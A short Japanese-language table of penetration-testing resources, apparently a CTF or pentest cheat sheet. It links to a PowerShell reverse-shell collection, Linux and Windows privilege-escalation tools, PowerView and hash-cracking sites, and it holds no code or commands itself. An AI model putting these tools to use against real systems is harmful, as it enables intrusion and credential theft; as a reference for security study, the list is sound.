|持続化|nishang Powershell Reverse shell|https://github.com/samratashok/nishang/tree/master/Shells|
|権限昇格|GTFObins|https://gtfobins.github.io/|
|権限昇格|LinPEAS|https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS|
|権限昇格|WinPEAS|https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS|
|権限昇格|Powershell 権限昇格ツール|https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1|
|権限昇格|Power View|https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993|
|権限昇格|Crack Station|https://crackstation.net/|
|権限昇格|hashes|https://hashes.com/en/decrypt/hash|
|その他|CyberChef|https://gchq.github.io/CyberChef/|